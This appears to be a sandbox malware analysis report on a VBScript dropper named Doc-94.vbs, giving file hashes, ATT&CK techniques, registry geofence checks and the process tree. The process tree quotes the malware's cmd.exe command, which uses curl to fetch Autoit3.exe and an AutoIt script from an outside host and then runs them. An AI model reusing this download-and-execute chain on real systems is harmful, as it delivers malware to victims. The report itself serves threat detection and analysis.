bf2a69d4728af507440925f462a41bac0529dd70eec76ff8b5988bf510bea8ef

Analysis

max time kernel
91s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
13-10-2023 13:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Doc-94.vbs
Size

25KB
MD5

d050315ff65ebef0ba1352167126592f
SHA1

e2009bb0ccae9b82d57c45d7b6c39d76faded05d
SHA256

1e8a6d34c0fe5a5ad2fc1d6ff7000bcf8efa0704c397cb6ef021c2692bf17fe6
SHA512

e5e50b1ab9e4d939d401225daaa98cdcd5696813aae91538f911202982b2937229faa358f5a8ba4094c2c5121e0e236ad00f857a36b91891f10061dbc08c1b46
SSDEEP

768:3IvITQgdN5RyiUiK3IfJO37NwNGFFNWePDUirUif3IhBN67e:3IvI8/e

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

Processes:

Autoit3.exe

pid process

116 Autoit3.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
116	Autoit3.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.execmd.exe

description	pid	process	target process
PID 1560 wrote to memory of 3680	1560	WScript.exe	cmd.exe
PID 1560 wrote to memory of 3680	1560	WScript.exe	cmd.exe
PID 3680 wrote to memory of 2804	3680	cmd.exe	curl.exe
PID 3680 wrote to memory of 2804	3680	cmd.exe	curl.exe
PID 3680 wrote to memory of 3768	3680	cmd.exe	curl.exe
PID 3680 wrote to memory of 3768	3680	cmd.exe	curl.exe
PID 3680 wrote to memory of 116	3680	cmd.exe	Autoit3.exe
PID 3680 wrote to memory of 116	3680	cmd.exe	Autoit3.exe
PID 3680 wrote to memory of 116	3680	cmd.exe	Autoit3.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Doc-94.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" f InStr(1, WScript.ScriptFullName,"vbs", 1) > 0 Then:path = WScript.ScriptFullName:end if '/c cd /d %temp% & curl -o Autoit3.exe http://whoernet.co.com:80 & curl -o dftxsm.au3 http://whoernet.co.com:80/msifvwjscyk & Autoit3.exe dftxsm.au3
2⤵
- Suspicious use of WriteProcessMemory
PID:3680

C:\Windows\system32\curl.exe
curl -o Autoit3.exe http://whoernet.co.com:80
3⤵
PID:2804

C:\Windows\system32\curl.exe
curl -o dftxsm.au3 http://whoernet.co.com:80/msifvwjscyk
3⤵
PID:3768

C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
Autoit3.exe dftxsm.au3
3⤵
- Executes dropped EXE
PID:116

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit